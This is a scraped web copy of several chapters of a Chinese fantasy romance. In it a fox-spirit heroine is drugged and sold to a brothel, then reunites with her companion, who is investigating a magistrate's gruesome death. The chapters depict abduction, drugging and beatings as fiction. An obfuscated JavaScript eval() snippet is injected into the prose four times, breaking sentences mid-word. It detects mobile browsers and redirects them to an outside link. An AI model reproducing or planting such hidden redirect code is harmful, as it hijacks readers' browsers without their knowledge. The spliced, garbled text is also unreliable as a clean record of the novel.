彪形大汉提着刀冲向乐游，速度很快，但仍慢乐游一步，乐游没有闪躲，一脚踹在大汉脸上，大汉顿时倒在地上，脸上血肉模糊，血流不止。 其他几人一愣，似乎没想到一个小丫头居然有如此高深的武功，相互对视一眼，一起冲向乐游。 乐游在他们几人中穿梭，身轻如燕，动作矫健，翻滚跳跃间四两拨千斤般将几人打得落花流水。 乐游最后一脚重重踹在一个胖子的肚子上，他倒在地上哀嚎一声后，头一歪就没了意识。 其他人也都各负重伤，还能勉强撑起身子的人趴在地上求饶： “我们投降我们投降，女侠饶了我们吧。”那人说着呕出一口血，颤着声音说：“只要女侠饶了我们，那人的金子就全给二位。” “金子？”乐游眸色一沉，疾步走到灰布衣男子身边，翻过他的身子。 “是陆继！”乐游对玄砚大声道。 玄砚方才一直抱着双臂靠在墙上，一副事不关己的样子，听到乐游唤他，他才有所动作，走到乐游身边。 玄砚探了探陆继的鼻息，说道：“别担心，他只是晕过去了。” “那就好。”乐游松了口气，陆继额头破了，流了满脸的血，唇色发白，咋一看怪瘆人的，乐游还以为他死了。 玄砚把陆继扛上二楼，随手推开一间房门。乐游跟在他身后，临走前还不忘恐吓那几人一番。 “仙姑饶命，饶命。”那人吓得浑身发抖。 乐游轻哼一声，刚迈出几步，眼尖看到了桌子上的一个蓝布包裹，觉得有些眼熟，就顺手将它也带上楼。 房间似乎很久没有打扫过，推开门后，一股陈旧的木头腐烂的味道扑面而来。房间仅有一张破木板床和一张缺了角的桌子。 木板床上的被褥散发出一股恶心的潮湿味，玄砚掀开被褥，想把陆继放到床上，不曾想被褥一掀开，几只大老鼠吱吱呀呀地乱窜出来。 一只老鼠窜到乐游脚下，乐游踩住它的长尾巴，见它挣扎一阵后，放开了它，厉声说：“以后不许再来这间房！”老鼠被放开后，竟真的朝乐游点点头，然后迅速跑出房间。 陆继额头上的伤看起来伤得不轻，玄砚略识些治伤的草药，他从外面找来草药，嚼碎后敷在陆继额间。 乐游走到楼下，方才七倒八歪的几人已经不见了，只留下一片狼藉和一滩滩血迹。乐游并未对他们下死手，他们身上的伤势看似严重，其实并不致命，想必他们现在一定是躲起来了。 或许他们会有伤药呢？这么想着，乐游开始在客栈翻箱倒柜。 柜台上倒是干净，什么也没有，应当是那几人走时将东西都带走了。乐游忙活一阵，一无所获，她又把目光放在柜台后的一扇小木门上。 她推开木门，发现木门后是一间厨房，厨房很大，散乱地堆放着很多木柴。 乐游扒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404895|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开这些木柴，木柴下居然有一个大洞，洞口处还有几滴血，那些人应该就是从这个洞口处逃走的。 他们的去向乐游并不在乎，乐游只想看看这里有没有能用得上的伤药。 乐游站起来，往回走了几步，突然觉得衣角被什么拉扯住，她蹲下身子，从柴堆里摸索出一个坠着流苏的簪子。 簪子制作精巧，细长的流苏下连接着几颗色彩艳丽的石头，乐游不识货，凭直觉觉得这支簪子应该很值钱。只是不知道，这支簪子怎么会出现在这里？ 或许是他们打劫来的吧！乐游没再多想，随手把簪子塞进怀里，继续找草药。 可惜这厨房里，除了柴火就只有一缸水，一袋米，一些蔫蔫的青菜和一吊腊肉。 乐游放弃找伤药了，转身生火烧了一锅热水，用木桶端上楼。 “先把他脸上的血擦一擦吧。”陆继脸上的血已经干涸了，发丝沾了血胡乱地黏在他的脸上。 “好。”玄砚接过热水，因为没有帕子，他撕了里衣的袖子当帕子沾水给陆继擦脸。 忙完一切后，天色渐亮。乐游觉得腹中有些饥饿，这几天在路上颠簸，一直吃的是干粮，她有些想念在青云城吃的肉包子了。 乐游突然想到了厨房里的腊肉和那些颜色不太好看的青菜，她灵机一动：“玄砚，我做饭给你吃吧！” “你饿了？”玄砚问。 “嗯嗯！”乐游点头如捣蒜：“楼下厨房里有腊肉还有青菜，我们可以在这里做饭吃。” “黑店里的东西，我们还是不要吃。” “那些东西他们自己肯定也会吃，没问题的。” 玄砚还是很纠结，眉头头几乎要拧到一处：“不行。” “可以的可以的，这几日吃干粮我都饿瘦了。”乐游捏了捏自己的腮帮子，可怜巴巴地说。 “......”最后玄砚还是妥协了，他说：“你帮我生火，我来做饭。” “好耶！”乐游雀跃道。 玄砚刀功很好，刀起刀落间，一块儿腊肉被切成薄厚适中的肉片。 等火烧起来之后，玄砚把肉片放进滚烫的锅里，一阵翻炒后，肉片浸出油脂。 整个厨房都飘满了肉香，乐游忍不住陶醉在这香味里，怎么闻也闻不够。 玄砚动作干净利索，不一会儿，两盘色香味俱全的菜就出锅了。 “好香呀！玄砚，你好厉害，没想到你还会做饭呢。”乐游顾不上烫，夹起一片肉就往嘴里塞，结果被烫得满脸通红。 “嗯。”玄砚难得的好好说话：“好吃你就多吃些。” 乐游也不客气，两盘菜加一锅饭，她吃了一大半。吃完后，玄砚去厨房洗碗，她坐在桌子前，打了个满足的饱嗝儿。 让玄砚又做饭又洗碗会不会显得自己太不厚道了，乐游揉着自己圆滚滚的肚子想着。 要不她去洗碗吧。乐游支着手肘撑在桌子上，单手托腮想。她准备起身，却感觉眼前发黑，眼皮越来越重，四肢也不受使唤一样。 “哐当——”一声，乐游倒在桌子上，失去意识的最后一秒，乐游还以为是自己昨晚没休息好，现在太困了。 16. 满春院 乐游是被一盆冷水泼醒的，这水不知是什么水，凉的人骨缝间都刺疼。 乐游睁开眼，眼前一片漆黑。她摇了摇昏昏沉沉的脑袋，想喊玄砚，却发现嘴里塞着一团破布。不仅如此，她的双手双脚都被牢牢地捆住了，她想用力挣脱，可手脚酸软使不上力。 “呜呜呜——”乐游嗓子间发出求助的声音，可惜回应她的是一个巴掌。 “叫什么叫！”是一道粗犷的男声。 “诶，你打她脸干什么，打坏了就卖不出去好价钱了。”另一道有些尖锐的男声阴笑着说，话音落地，一股破空而出的力道踹上乐游柔软的腹部。 乐游闷哼一声，倒在地上不说话。就算她再笨，现在也反应过来自己被算计了。 那两人没呆一会儿就出去了，之后又鱼贯而入一群人。 乐游竖起耳朵听脚步声，估摸着进来了十五六个人，有男有女，还有链条在地上拖行发出的刺耳声音。 一瞬间，乐游感觉到了数十道目光聚集在自己身上，她有些瑟缩。早知道她就听玄砚的话不贪嘴了，不知道现在玄砚在哪里，有没有危险。 “这小妮子模样不错，能卖个好价钱。”有人勾起乐游的下巴。 “不过她看起来就是一个普通的黄毛丫头，你们至于被吓成这副模样？害得我叫了这么些人来。” “容姐，你可别小看这丫头，老大和老二被她打得现在都下不了床。要不是我和老四机灵，在水里下了迷药，我们哪能把她弄到这儿来。” “你看，我下了足足两大包迷药，这丫头也只昏睡了一日就醒了。”这声音是方才踹乐游的男人的。 被叫“容姐”的女人轻哼一声：“再厉害的女子，来了我满春院，就得听我容姐的。”捏着乐游下巴的几根手指力道加重，捏得乐游生疼。 乐游忍痛一声不吭，静等着看他们下一步要干什么。 铁链的声音走近，有人扶起乐游，用铁链把她吊在房梁上。 “走吧，先饿上她几天。” 就这样，乐游被吊了不知道多少天，她的双腕已经发麻失去知觉。每日有人会把她放下来喂一碗水，除此之外，她粒米未进。 乐游想等力气恢复后挣脱锁链，可她的四肢一天比一天疲软，脑袋一天比一天昏沉。乐游知道他们一定在水里下了东西，每次都拼死抵抗，但最后都会被扒开嘴硬生生灌进去。 这天，门外又响起脚步声，这次似乎多了一个人进来。 乐游被放下来，瘫软在地上。 “妮儿，凭你的模样，只要听容姐的话，容姐保证你以后荣华富贵一生享不尽。”又是那个叫容姐的，乐游使劲眨眼睛，试图透过厚厚的黑布看清楚她的模样。 “你若想清楚了，就点点头，容姐给你安排个师傅教你才艺。你若榆木脑袋非要犟着，以后的日子可没有现在这么好过。”一道鞭子抽在乐游脚边。 乐游小腿一颤，拼命点头，嘴里发出呜咽声。 “这就对了嘛。”容姐解开乐游眼睛上的黑布，扯开她嘴里塞的破布团，发出一声赞叹：“你这小妮儿，真是越看越俊俏，看看这双眼睛，跟天上的星子似的。” 乐游看向容姐，皱了皱鼻子，作出一副楚楚可怜的表情，一双圆眸似一潭汪泉，眼中的泪欲落未落，开口第一句是：“容姐，我饿了......”嗓音软软的委屈巴巴的。 容姐不年轻了，眼尾有细细的皱纹，但这并不影响她的媚态，反而更为她添几分风骚。她甩了甩帕子，吩咐身后站着的小厮：“还不快去备一桌好酒好菜。” 饭桌上，乐游狼吞虎咽，左手一只鸡腿右手一块大排，吃得不亦乐乎。 容姐在一旁耳提面命，生怕她会变卦。 “容姐，你放心，只要有吃有喝的，让我做什么都可以。”乐游满嘴油光，朝容姐露出一抹傻气的笑。 容姐嘴里没说出口的话一滞：“你还挺上道，不过，你可别想耍什么花招，不然我饶不了你。”容姐还是不放心，不相信她会这么听话。 “容姐你放心，自从我阿爹走后，我常常半月都吃不到一顿荤腥，现在在满春院不仅可以吃这么多好吃的，还能穿漂亮衣服，我肯定会好好听话的。”乐游咽了咽嘴里的肉，乖巧地点头。一汪清澈的双眼，容姐越看越喜欢。 “哎呦，真乖。”容姐拿帕子擦了擦她嘴角，说：“你当初要是听话何必多受几天苦呢。” “......”乐游突然放下手里的鸡腿不吃了，垂着眼尾，连发丝都带着几分失落：“当初你们都没人问问我，我又说不了话。” 容姐脸上的笑一顿，当初听了那几兄弟的话，以为这姑娘性子烈，定要教训一段时间的，所以直接将人绑着吊了几天。 “都怪容姐都怪容姐。” “不怪容姐，一定是那几人在容姐面前说我坏话了。”乐游恨恨地咬了一口鸡腿肉，撅起嘴不满道：“他们的黑店一晚要五百文，还打劫过路人，最好别再让我看见他们，不然一定要打得他们叫爷爷。” 容姐脸色一变说：“在满春院可不许使用武力。听说你是个武艺高强的，你这武艺在哪学的？” “我阿兄教的，我阿兄对我可凶了，每次都逼着我练武。”乐游苦恼地说：“对了，当时在客栈，我和阿兄是在一起的，现在我阿兄在哪？他手上还有我家的房契和传家宝呢！” “什么传家宝？”容姐试探着问。 乐游毫不顾忌，一五一十全说了出来：“我也不知道是什么，但这是我阿爹留给我的，说是价值连城，要留着给我当嫁妆的，一定是被我阿兄那个大坏蛋拿走了。你不知道，我阿兄其实是我的义兄，我家以前祖上有点积蓄，我阿爹活着时也是个老爷，可惜他走得早，只留下了义兄和我，义兄...义兄常常苛责我，不给我吃饭。”说着，乐游趴在容姐肩膀上哭得一抽一抽的。 容姐柔声细语地哄她，心里打起了自己的小算盘：“你义兄长什么模样，容姐可以帮你找找，说不定能为你寻来房契和传家宝。” “他...他长得凶神恶煞的，总是穿着一身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423391|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑衣，嗯...他长得很高。比我高一个脑袋。”乐游站起来，在空气中比划了一下。 “还有呢？他脸上有没有痣或者其他什么特征？” 乐游认真思索了一下摇摇头说：“没有。” “你不会是想利用我找到你阿兄之后，就偷偷跟你阿兄跑了吧？毕竟你出身野籍，我手上又没有你的卖身契。”容姐眼中闪过一丝精光。 乐游头摇得像拨浪鼓一样，极力作出乖巧的表情：“怎么可能，他对我这么坏，我讨厌死他了，我们这次来县城就是因为他想把我卖给有钱人家当丫鬟。” “真的，容姐，你相信我。”乐游跪在地上，右手起誓：“我发誓，要是我......” “诶，这说的什么话，容姐相信你。”容姐扶起乐游，拍拍她的手臂说：“你先吃饭，把肚子吃饱。” “嗯嗯，好。”乐游绽放出一抹灿烂的笑，坐到桌子上，抱起盘中的烧鸡啃了几口，还时不时朝容姐露出没心没肺的傻笑。 容姐陪她坐了一会后就找借口离开了，一出房门，容姐就对房门口守着的小厮说：“再多叫几个人过来，把她看紧点。” 乐游长得乖巧，性格憨厚，不出几天就跟满春院里一同学艺的女孩儿打成一片。 “诺，给你的。”乐游从怀里掏出一个浸油的油纸包递给水碧。 水碧接过油纸包，眸子弯成了月牙：“谢谢你，乐游。” 容姐器重乐游，她的伙食比院里大多数人都好，乐游就偷偷藏些点心鸡腿带给水碧，一来二往，两人也算得上是能推心置腹的好友。 “乐游，你是怎么来的满春楼？”水碧一边啃鸡腿一边问乐游。 乐游迟疑了一下，说：“被坏人卖进来的。” “我是自己把自己卖进来的，为了保住我家的几亩田地。”水碧说，她说的风轻云淡，但是眼神中带着几分悲凉。 “可惜我不像你这般貌美，不然说不定，等我当了花魁后就能赚钱给自己赎身了。”水碧情绪有些低落。 乐游不知道该怎么安慰她，就说：“没关系，等我有钱了，我就给你赎身。” “噗呲——”水碧破涕为笑，点了点乐游的鼻尖：“我等着这一天哦。”水碧知道不会有这么一天的，但仍觉得暖心。 见她笑了，乐游心情也好，突然她一拍脑袋说：“你看！这是什么？”乐游从怀里取出一个精巧的发簪，放到水碧掌心。 “这个发簪应该很值钱，送给你。” 水碧一见这发簪，脸上血色顿失，她扔掉手里的鸡腿，捧起发簪仔细摩挲一番后，抓着乐游胳膊问：“这个发簪怎么会在你这里？你从哪里得来的？” “我...我捡的。”乐游被她的神态吓到了，结巴着说。 “哪里捡的？”水碧急切地追问她。 乐游刚要回答她，教坊的琴师先厉声喝道：“你们两个又躲在这偷懒，还不滚回教坊学琴！” 水碧不得已放弃继续问乐游，低眉顺目地说：“是......” 17. 重逢 琴师严厉，对乐游尤甚。夜里满春院最是热闹时，琴师独留乐游一人在教坊练琴。 乐游活了上万年，从没碰过琴弦，抚起琴来笨手笨脚的，不是碰错这根弦就是弹错那个音。每当这个时候，琴师的软鞭就会甩上乐游的手臂，这鞭子不知是什么材质做的，小小一根，打上雪白的肌肤不留痕迹却疼痛刺骨。 乐游的手腕颤抖着，因为疼痛，浑身都冒起了冷汗，汗水顺着脸颊滴落到琴弦上。 “崩——”乐游手下用力，一根琴弦应声而断。乐游闭上眼睛等待鞭子的到来，但琴师只是浅浅叹了口气。 “罢了，好歹身段不错。” 深夜，外面歌舞升平，容姐的吆喝声和姑娘们的娇笑声不断传进乐游耳朵里。 乐游闭着眼睛躺在床上，身体困乏却毫无睡意，她想逃，想去找玄砚。她知道一门之外，有很多双眼睛在盯着她，可是她有把握，又实在迫不及待地想离开这里。 乐游睁开眼睛盯着屋内唯一一扇窗户，若有所思。这几天她都观察过了，这扇窗户连着内院，内院是容姐住的地方，虽然把守森严，但内院很大，有十几间房间，夜里除了容姐住的房间会点着烛火，余下的房间都是黑漆漆的，似乎无人居住。 只要小心一点，避开容姐的房间和守在门口的小厮，翻过高墙混出满春院对乐游来说并不难。 这样想着，乐游便一直坐在窗边的软榻上装模作样地看书，实则一直透过窗户缝观察外面的情况。 容姐器重乐游，每晚回房歇息前都会先到乐游房里来一趟，一是为了看看她有没有老实地呆在房间里，二来也是为了检查她白日里学的情况如何。可今夜临近丑时，容姐还没来她的房间。 乐游觉得有些不对劲，她推开房门问门口站着的龟公：“今日容姐怎么没来我房间，她昨日吩咐我背的诗书我都背完啦。” 龟公规规矩矩地说道：“今日容姐有事，乐游姑娘可以先行休息，不必等容姐了。” “哦。”乐游关上门，吹灭了桌子上的蜡烛，躺在床上。 乐游一夜无眠，躺在床上不敢合眼，耳朵始终听着屋外的动静。 丑时已过，约莫到了寅时，屋外恩客的调笑声变成了沉重的呼吸声，门外守着的龟奴也在打盹儿。 乐游悄悄起身，趴在窗户缝上看内院。今日容姐的房间居然没有点灯，房前也没有看守的小厮。 真是天助我也，此时不跑更奈何时，乐游心里窃喜，她推开小半扇窗，先缩着脑袋观察了一番，见四下无人，才敢探出脑袋。 正当她准备跳窗时，一阵脚步声由远及近，乐游地缩回身子趴在软榻上。 “手脚放小心些。” 那群人进了内院，没一会儿，容姐房里点上了烛火。 乐游猫着腰，趴在窗户上看到有两个小厮合力抬着一个大麻袋进了容姐的房间，剩下的小厮们则都守在门口。 乐游眼珠一转，趴在软榻上，化成了一只小狐狸。她跳出窗，顺着屋顶跑到高墙上，她原想一走了之，可又转念想起被抬进容姐房间的那个大麻袋。 里面究竟装着什么东西，需要容姐半夜偷偷摸摸抬进自己的房间里。鬼使神差下，乐游顺着高墙跳到容姐房侧。 “喵～”乐游走到两个小厮面前。 “这是什么？狐狸还是猫？”一个小厮问另一个。 “猫吧？怎么长得这么像狐狸？还挺好看的，莫不是哪位恩客养的狸奴？”另一个小厮上前想抱住乐游。 乐游乖顺地躺在他怀里，用毛茸茸的脑袋蹭他的手臂。 “你看这狸奴，还知道撒娇呢。”小厮欣喜地摸着乐游柔顺的皮毛，招呼自己的同伴也来摸摸。 另一个小厮禁不住诱惑，凑到乐游跟前，神兽揉了一把她的脑袋。 “诶，还真是，太乖了。”两人凑到一起，你摸一把我摸一把。 突然门被打开了，两个小厮走出来，其中一个压着声音说：“你们两在干什么呢！” 两个小厮受到了惊吓，连忙分开站到两边。 乐游顺势跳到地上，迈着轻盈的步子朝说话的那小厮走去。 “去去！哪里来的野猫？”那小厮伸出脚去踢乐游，还未碰到乐游时，乐游惨叫一声，后腿发力腾空而起跳到那小厮头上，没等小厮反应过来，突地一下从半开的门缝钻进房间里。 “喵呜～”乐游第一次进容姐的房间，才发现这房间看着其貌不扬，实则却内含玄机。 房间里还有一扇小门，这扇小门是开在墙上的，用一副长四五尺长的山水画挡着。 乐游跳进房间里时，容姐刚好从画后面的小门里钻出来。 “哪里来的野猫？”容姐的动作有些狼狈，问身后追进来的小厮。 容姐以为它只是一只普通的野猫，并没有过多理会，而是先转身关上小门。 门关上的瞬间，乐游听到了一阵闷闷的呜咽声。 “这应该是哪位恩客带来的，不小心跑进了内院，我们这就把它捉出去。”小厮一边说道，一边弯着腰，轻手轻脚地走向乐游，嘴里嘬嘬几声。 乐游深深地看了眼墙上的山水画后，喵喵几声跳到小厮头顶，一溜烟儿就跑出了房间，等小厮追出去找她时，已经不见她的踪影。 逃出房间的乐游一路直奔自己的房间，她决定今夜先不离开满春院了，她有其他的打算。 乐游回到房间后，关好窗户，躺在床上，心情久久不能平复。她在想墙后的那道呜咽声，那分明是一个女孩发出的。或许，大麻袋里装的就是她。 她一定和自己一样，不是自愿来满春院的，乐游想救她。 正想着，门外打盹儿的龟奴突然醒了，小声叫了句：“容姐。” 有人推开门，乐游连忙闭上眼睛装睡。 来人正是容姐，容姐不知为何，站在她床边，光盯着她看了片刻，随后什么也没做就走了。 容姐走后，乐游长长地松了口气。 一晚没睡，第二天学琴时，乐游一直迷迷糊糊地半眯着眼睛，向来严厉的琴师今日却对她十分宽容。 只是吃午饭时，龟奴却没有额外给她准备膳食。 “你以后就跟其他人一起吃了。”龟奴的语气也不似从前那样客气。 乐游不知因何缘由，只是可惜今天不能给水碧带大鸡腿了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444776|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “乐游，你别太难过了。”水碧把自己碗里仅有的肉片夹到乐游碗里。 乐游才没有难过呢，她只是想知道发生了什么。 “听说是县令大人在府中离奇死亡，所以本该是月末办的花榜赛取消了。”水碧以为她因为这个而伤心，劝慰她说。 “县令死了和满春院有什么关系，为何要取消花榜赛？”乐游好奇地问。 水碧凑近乐游说：“县令死的可惨了，听说凶手和满春院有关。真是可惜了，若是花榜赛能如期举行，你一定能当选花魁。” 乐游没有说话，她的脑袋里面一团糟，一会儿是麻袋里的女孩儿，一会儿是惨死的县令。 心里想着事，乐游没有心思吃饭，随便扒了几口饭就不吃了，在一旁等着水碧。 水碧吃完饭后，拉着乐游来到暗处，欲言又止地看着乐游。 “怎么了？”乐游问她。 “昨天我是不是吓到你了？”水碧说：“你送我那么贵的发簪，我却对你那样。” 水碧这么一说，乐游突然想起了昨天她奇怪的表现，问道：“那发簪是我在郊外一个客栈里捡到的，你知道那发簪是谁的吗？” 水碧点点头：“那发簪是我一个好朋友的，她原先也在满春院，有一天突然就不见了。容姐说她跟野男人跑了，这根本不可能，容姐在骗我，悠悠一定是出事了。” 水碧从袖子中掏出那根发簪，双手摩挲着：“这根发簪是一个公子送给悠悠的，那公子性情暴躁，动不动就打悠悠，但是他出手阔绰，每次打完悠悠就会给她送些金银首饰。所以容姐总是让悠悠接待那公子。” 乐游脑袋更乱了，满春楼的悠悠突然消失，她的发簪出现在了郊外的客栈，而客栈里的几兄弟打劫过路女子卖给满春院。那悠悠现在在哪里呢？ 乐游替她擦干脸上的泪珠，安慰道：“别担心，她一定会没事的。”除此之外，乐游不知道应该说些什么。 吃完饭后，乐游和水碧照例去教坊练琴，琴师却迟迟未出现。 能在教坊练琴的姑娘都是容姐准备捧成红牌的，若再争气些，有人能在花榜赛中夺得花魁，便真的可以一生衣食无忧。这对在满春院里的姑娘来说，算是不错的归宿。因此即便琴师没来，姑娘们也自发地开始练琴。 乐游不喜欢练琴，她也不想当什么花魁红牌，她迟早会离开满春院的。乐游无所事事地趴在琴弦上，任由琴弦在她脸上烙出一条条红印，耳边一阵纷杂的琴声。 就在乐游差点在琴声中昏昏欲睡时，一道破门声惊醒了她。她慌忙抬起头，一群穿着官府配着刀的衙役闯进来，姑娘们吓得乱作一团。 可乐游却呆坐在原地，热泪盈眶。这么多天来，被吊在房梁上饿了几天几夜她没哭，被琴师甩鞭子她也没哭，可见到玄砚的那一瞬间，泪水再也忍不住，夺眶而出。她从来没有这么思念过一个人，从来没有...... 为首的玄砚也没想到居然会在这里找到乐游，他一向冷峻的脸上有了一丝松动的表情，这几天一直压在他心里的大石头终于落地了。 玄砚走到乐游面前，在众目睽睽之下轻柔地为乐游擦泪：“差点儿弄丢你了。” 18. 不知所踪的悠悠 容姐姗姗来迟后，脸上挂着谄媚的笑，扭着水蛇腰走到玄砚面前：“官爷这是做什么，看把姑娘们都吓着了。”说着她甩了一下手中的帕子，带起一股似有若无的香气。 玄砚皱着眉头往后退了一小步，用剑鞘架在容姐脖子上，凛声道：“县令大人惨死在府中，据府中的人说，县令大人遇害的那晚，你们满春院的人去过。” 容姐脸上的笑一顿后强撑着笑脸：“怎么...怎么可能呢，我们满春院的姑娘出局都会有记录的，官爷可以去查呀，那夜我们满春院并没有姑娘去县令府上。” “是吗？”玄砚拖长了语调。 “是是......” “把她们都押到县衙去。”玄砚下令道。 “诶，官爷！”容姐双手一摆，哀叫一声：“官爷，你这样我们满春院的生意可怎么办呐？” “这里的姑娘们都是清倌人，还未出门接过客，县令大人的死一定与她们无关。”容姐走近玄砚，从袖中掏出一个荷包偷偷塞到他手里，朝他抛了个媚眼，娇声道：“官爷就通融通融罢。” 玄砚神色毫不动容，一把推开她，对衙役们说：“统统带走，包括她。”玄砚指了指容姐。 乐游和从满春院带回来的姑娘们都被关押进了一个房间，而另一个房间就是审讯她们的地方。 玄砚坐在房间里，传话的衙役每次带一名姑娘进房间。 “是这个吗？”玄砚问身后站着的家仆。 家仆摇摇头，一连看了数十个，家仆都说不是。 “那夜来府中的姑娘可有什么特征？”玄砚问。 家仆思索一阵后说：“那天夜色已晚，她穿着斗篷，带着帽子，脸上还有面纱，奴才实在是没看清她有何特征。不过她腕间似乎有个红色胎记，像片云。因为挺稀奇的，奴才就多看了几眼。” 玄砚让所有的姑娘站成一排，挽起袖子露出手腕，一个个亲自检查。 然而仍是一无所获。 玄砚高声问她们：“你们可认识一个腕上有云状红色胎记的女子？” 姑娘们不吱声，纷纷摇头。 玄砚又问了些问题，就让衙役送她们回去了。 “你，留下，我还有话要问你，其他人可以回去了。”玄砚借此机会留下了乐游。 “是。”乐游说，随后跟着玄砚进了另一间屋子。水碧在一旁担忧地看着乐游，乐游朝她做了个鬼脸，用口型说：“别担心。” 一关上房门，乐游就猛地扑到玄砚怀里，哇哇大叫：“我以后一定听你的话，再也不贪嘴了，呜呜呜呜呜......” 玄砚被她扑了个满怀，猝不及防地往后退了几步：“这次也有我的疏忽。你后来怎么进了满春院？” “应该是那几个家伙趁我晕了之后把我卖进了满春院，你呢，你怎么成官府的人了？”乐游从他怀里抬起头。 “说来话长，我醒来后没看到你，就带着昏迷的陆继进了县里，恰好碰见李毅，与我说了县令惨死的事。” “然后呢？” “然后我借口帮他们查县令之死混进了官府。” “你进官府是不是为了方便找我？”乐游笑嘻嘻地问他。 玄砚不自在地推开她，偏过头：“是......毕竟你是天地间最后一只孟极。” “...嘴硬。”乐游不满地撇撇嘴。 “对了，方才你们在找的手腕上有胎记的姑娘，就是杀害县令的人吗？”乐游想起当时水碧奇怪的神情，她似乎认识这个姑娘。 “或许是的，我怀疑这件事和恶灵有关。”玄砚凝重地说：“县令惨死的现场我去看过了，他是爆体而亡，他的身体从腹腔处炸开，内脏都挂在墙上，房梁上。这样奇怪的死法，不像是凡人可以做到的。” “确实可疑。”乐游眉心一跳说：“县令、满春院、县令、满春院......” “满春院也有问题，那几兄弟在郊外打家劫舍，遇到貌美的女子就卖到满春院。我在郊外客栈捡到过一只发簪，是满春院姑娘的，那姑娘现在下落不明。” “而且有天夜里，我看到容姐偷偷把一个大麻袋运进自己房间的密室，麻袋里装的似乎是个女子。” “那女子或许也是客栈几兄弟劫来的。”玄砚说。 “不是不是。”乐游摇头否认道：“我当初被卖来满春院虽然被蒙着眼睛，但我每天都可以听到门外走来走去的脚步声，我一定不是被关在后院的。为何这次被卖来的女子会被关进后院的密室里，里面肯定有什么不可告人的秘密。” 没等玄砚说话，乐游接着说：“我在满春院认识了一个朋友，叫水碧，今日听到你要找腕上有胎记的女子时，她的表情很不对劲，或许她认识这个女子。” 玄砚若有所思：“那我命人把她叫过来再审讯一遍。” “不必了。”乐游说：“直接让我去问问她吧。” “你还要回满春院？”玄砚的眉头不着痕迹地皱起。 乐游点点头：“我想救密室里的那个女孩，我还要给水碧赎身呢。更何况，满春院与县令的死也有关系，我在里面也好多打听打听些消息。” “不必这么做，你不回满春院，也有机会救密室里的姑娘......” 乐游打断他的话：“你是不是担心我？你放心，我可是神兽孟极，他们一群凡人奈何不了我。不过我不方便出来，你记得隔几日就以官府的名义把我叫出来，我好给你通风报信。” “......”玄砚一阵不语后说道：“满春院比你想的要复杂得多，你涉世尚浅，独自一人未必能应付得来。” “你放心，要是遇到危险了，我就...我就变成小狐狸，偷偷逃到官府来找你。”乐游以指尖为利刃，挑断一缕头发：“若是哪一日你联系不上我了，你就凭这个，循着我的味道来找我。”乐游把断发打成结，郑重地塞到玄砚手里，还轻拍几下，一本正经嘱咐道：“要保管好哦！” 既然乐游都这么说了，玄砚也只好送她回满春院。 到满春院门前，乐游有些依依不舍地和他告别：“虽然你很讨厌，嘴很臭，说话很难听，但是我在满春院的时候，还是会有点想念你的。你...你过两天一定要记得找我去县衙哦。” “会的。”玄砚没有计较前面吐槽他的话，回答道。 尽管玄砚这么说，乐游还是不放心，走进满春院时，一步一回头地看玄砚。 因为今日闹了这么一出，满春院现下还很清闲，厅中除了几个洒扫的龟奴，再没有别人。乐游一路疾步跑到二楼走廊的尽头，推开窗户，见楼下的玄砚还在原地，冲他用力地挥手：“玄砚玄砚！” 玄砚应声抬起头，只见窗边有一抹娇嫩的桃粉，探出窗的少女精灵顽皮，脸上正挂着灿烂憨厚的笑，露出一点贝齿。恰好此时清风也解意，从少女的额间划过，带起一缕乌发。 玄砚也学她的动作，举起手，小弧度地挥了挥。 “要记得找我哦！”乐游用气音隔空喊话道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503401|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 玄砚点点头，也用气音回复她：“会的。” 乐游终于心满意足了，关上窗回了自己房间。直到乐游走后，玄砚才回过神，不自在地收回手，自觉方才太过幼稚。 今日不用再学琴，而且还找到了玄砚，乐游心情舒畅不少，连带着晚上胃口都大了些。 乐游吃过一碗后，还想去盛第二碗，被凶神恶煞的龟奴大吼一声：“在我这儿，没有姑娘能盛第二碗饭。” “为何？吃得又不是你家的粮食，这碗本就小，一碗怎么吃得饱？”乐游愤愤不平。 